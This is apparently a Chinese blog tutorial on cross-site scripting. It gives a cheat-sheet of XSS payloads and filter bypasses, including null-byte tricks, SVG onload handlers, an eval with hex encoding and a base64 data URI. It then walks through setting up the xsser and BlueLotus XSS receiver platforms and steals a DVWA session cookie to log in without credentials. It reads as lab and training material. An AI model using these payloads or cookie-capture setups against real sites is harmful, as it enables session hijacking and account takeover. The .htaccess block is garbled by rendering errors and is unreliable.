XSS跨站脚本攻击(DVWA XSS攻击详解、XSS平台搭建)

一、跨站脚本攻击过程

在这里插入图片描述

二、XSS攻击定义及危害

在这里插入图片描述

三、XSS攻击常见分类

在这里插入图片描述
例:反射型在这里插入图片描述
例:存储型
在这里插入图片描述

例:DOM型
在这里插入图片描述
在这里插入图片描述

四、XSS攻击常见编码

在这里插入图片描述
例:
在这里插入图片描述
编码后:
在这里插入图片描述

五、XSS常见测试语句

Script 标签
Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:

Src属性
<img src=x οnerrοr=prompt(1);>
<img/src=aaa.jpg οnerrοr=prompt(1);>
<video src=x οnerrοr=prompt(1);>
<audio src=x οnerrοr=prompt(1);>

事件触发
<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/

a标签
2 //可以去掉双引号
<a href=javascript:eval(“\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29”)>2 //不能去掉双引号
<a href=javascript:eval(“alert(‘xss’)”)>2 //可以去掉双引号
原code:
<a href=javascript:eval(“alert(‘xss’)”)>2
<a href=“javascript:aaa” οnmοuseοver=“alert(/xss/)”>22222222

input 标签
<input value=“” οnclick=“alert(xss)” type=“text”>
<INPUT name=“name” value=“01/01/1967” οnmοuseοver=prompt(971874) bad=“”>

触发事件
<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/

利用0字节绕过
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> //
在IE9及以下版本有效。

svg标签
当返回结果在svg标签中的时候,会有一个特性

<svg><script>varmyvar="YourInput";</script></svg>

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的。
如:
<svg οnlοad=alert(1)>
<svg οnlοad=“document.location=‘http://www.tmzyxy.cn’”>

background属性

<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效

poster属性

<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效

data属性

<object  data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="   >

code属性

<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

六、DVWA XSS攻击

DOM型
LOW等级
在这里插入图片描述
medium等级
直接如上注入,无效果。
查看源代码:
在这里插入图片描述
stripos函数过滤了

strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签。

htmlspecialchars(string): 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素。

可以看到,$message已经被过滤了xss,但是name只是过滤了

七、XSS平台搭建

1、源码及运行环境准备
1)搜索XSS平台下载。
2)安装好phpstudy,在WWW目录下新建一个文件夹,名为xsser。
大家注意了,这里文件夹就叫xsser,别乱改了,因为这个XSS平台源码以前默认是xsser.me这个网站使用的,有些默认设置是用到了xsser这个文件夹,为了避免未知的错误,因此我们老老实实把文件夹的名字命名为xsser,这样可以避免将来不必要的麻烦。
3)将XSS平台的源码解压到xsser目录下

2、导入数据库
1)在导入数据库之前,首先去新建一个空数据库,然后再把数据导进来。
用管理员身份运行phpstudy(注意这点,一定要以管理员身份运行phpstudy,以免出现一些意想不到的情况),点击MYSQL管理器,点击MySql-Front,在左侧找到localhost,右键单击,选择新建,点击数据库:
输入数据库名为:xssplatform
这个数据库名字是配置文件的默认库名,最好就不要去修改了,否则配置文件也得跟着改,何必自找麻烦呢?
然后发现新建了一个名为xssplatform的数据库。
2)在该数据库名上右键单击,选择输入,选择SQL文件,然后将找到xsser文件夹下的xssplatform.sql,字符集选择UTF-8,然后点击打开。这样数据就成功导入数据库中了。

3、修改数据库
由于该数据库中默认设置的域名为xsser.me,如果不加以修改,那么生成的XSS攻击代码就无法发送到我们自己的网站了。
因此我们必须对JS代码进行修改。
单击SQL编辑器,
输入以下命令进行修改:
use xssplatform;
select * from oc_module;
update oc_module set code=REPLACE(code,‘http://xsser.me’,‘此处输入你的域名或公网ip/xsser’);
设置完毕以后按F9运行这三条命令即可。注意这里的前两条命令是为了保险起见,因为按照mysql的语法规则,需要先进入一个库,才能对这个库的数据进行操作,因此我就加了两条,第一条命令表示进入该数据库,第二条命令表示查询oc_module表的内容。

4、修改配置文件
1)config.php
打开xsser文件夹下的config.php文件,需要修改的地方如图所示:
在这里插入图片描述
根据右侧的注释可以看出左侧代码具体的含义,数据库的账户密码就根据自己本机的账户密码来填就行了,我的是root,root。数据库的地址要么填localhost,要么填127.0.0.1,都是一样的。第22行输入自己的网址,后面的/xsser注意别漏了。
比如你的公网ip是101.0.0.0,那么第22行URL的路径为:http://101.0.0.0/xsser
上面第18行那里是设置注册功能开关的,如果设置为normal,表示不需要邀请码就能注册,设置为invite的话,只能通过邀请注册,而如果完全关闭注册,则只要输入close即可。这里我们刚开始搭建,先设置为normal。
2)authtest.php
打开xsser目录下的authtest.php文件,找到第21行,在location后面的url前面的部分改成http://localhost/xsser即可
3)配置.htaccess伪静态文件
.htaccess全称是Hypertext Access(超文本入口),也被称为分布式配置文件,是Apache特有的的针对目录改变配置的方法。通过在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。该文件可以针对不同的目录去做不同的策略。
为了接收到来自目标网站的数据,我们需要配置一个.htaccess文件。
在xssser文件夹下新建一个1.txt文件,然后粘贴以下代码进去:

RewriteEngine On
RewriteRule ^([0-9a-zA-Z]{6})$ /xsser/index.php?do=code&urlKey=KaTeX parse error: Undefined control sequence: \w at position 25: …Rule ^do/auth/(\̲w̲+?)(/domain/([\… /xsser/index.php?do=do&auth=$1&domain= 3 R e w r i t e R u l e r e g i s t e r / ( . ∗ ? ) 3 RewriteRule ^register/(.*?) 3RewriteRuleregister/(.?) /xsser/index.php?do=register&key= 1 R e w r i t e R u l e r e g i s t e r − v a l i d a t e / ( . ∗ ? ) 1 RewriteRule ^register-validate/(.*?) 1RewriteRuleregistervalidate/(.?) /xsser/index.php?do=register&act=validate&key= 1 R e w r i t e R u l e l o g i n 1 RewriteRule ^login 1RewriteRulelogin /xsser/index.php?do=login

注意我们的index.php是在xsser文件夹下的,所以上面每一个index.php前面都有一个/xsser/,读者需要注意这点,假如你不是用xsser文件夹,那么这里也要相应修改。
现在只要把1.txt命名为.htaccess即可。直接重命名是不行的,windows禁止文件名为空,因此我们需要借助命令行来实现。命令行重命名的命令为ren,语法也很简单,就是:
ren 旧文件名 新文件名

5、phpstudy中启动MySQL和Apache服务。
**注意:PHP版本只能是5.3或5.4,否则进入平台时为白屏。
打开浏览器,输入:你的域名/xsser
注册账户,登陆,新建项目。
在这里插入图片描述
八、蓝莲花(BlueLotus)平台搭建
XSS平台项目名称:BlueLotus_XSSReceiver
作者:firesun(来自清华大学蓝莲花战队)
项目地址:https://github.com/trysec/BlueLotus_XSSReceiver
1.将解压后的文件夹BlueLotus_XSSReceiver-master复制到www目录下,并重命名为Blue。
2.浏览器访问:http://127.0.0.1/blue/admin.php登录后台
点击安装直接在页面上进行安装
3.修改后台密码、数据加密密码
我们修改好了之后直接登录
4.平台使用:
(1)获取cookie
配置公共模板default.js,修改js代码中的网站地址为http://服务器IP地址/blue/index.php
在这里插入图片描述
然后点击下方的修改,保存修改
点击进入“我的js”模块,设置js文件名称,js文件说明看自己吧
在这里插入图片描述
点击“选择js模板”,选择“default.js”——然后点击“插入模板”——选择“新增”保存js测试代码
要使用的时候,选择“生成payload”
复制这个payload
在这里插入图片描述
(2)dvwa xss作测试
在这里插入图片描述
XSS平台接收到获取的Cookie
在这里插入图片描述
到Kali中进入dvwa——修改cookie和security值为XSS平台获取的值。
在这里插入图片描述
再进入dvwa 下其他配置页面,就可以跳过账号密码登录了。
如:http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
在这里插入图片描述

他山之石

浅谈XSS攻击的那些事(附常用绕过姿势)
DVWA-XSS
各种XSS平台问题锦集
xss平台打cookie登录后台(保姆级教程)
【精选】手把手教你搭建个人XSS平台,用着更安心!_xss项目

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值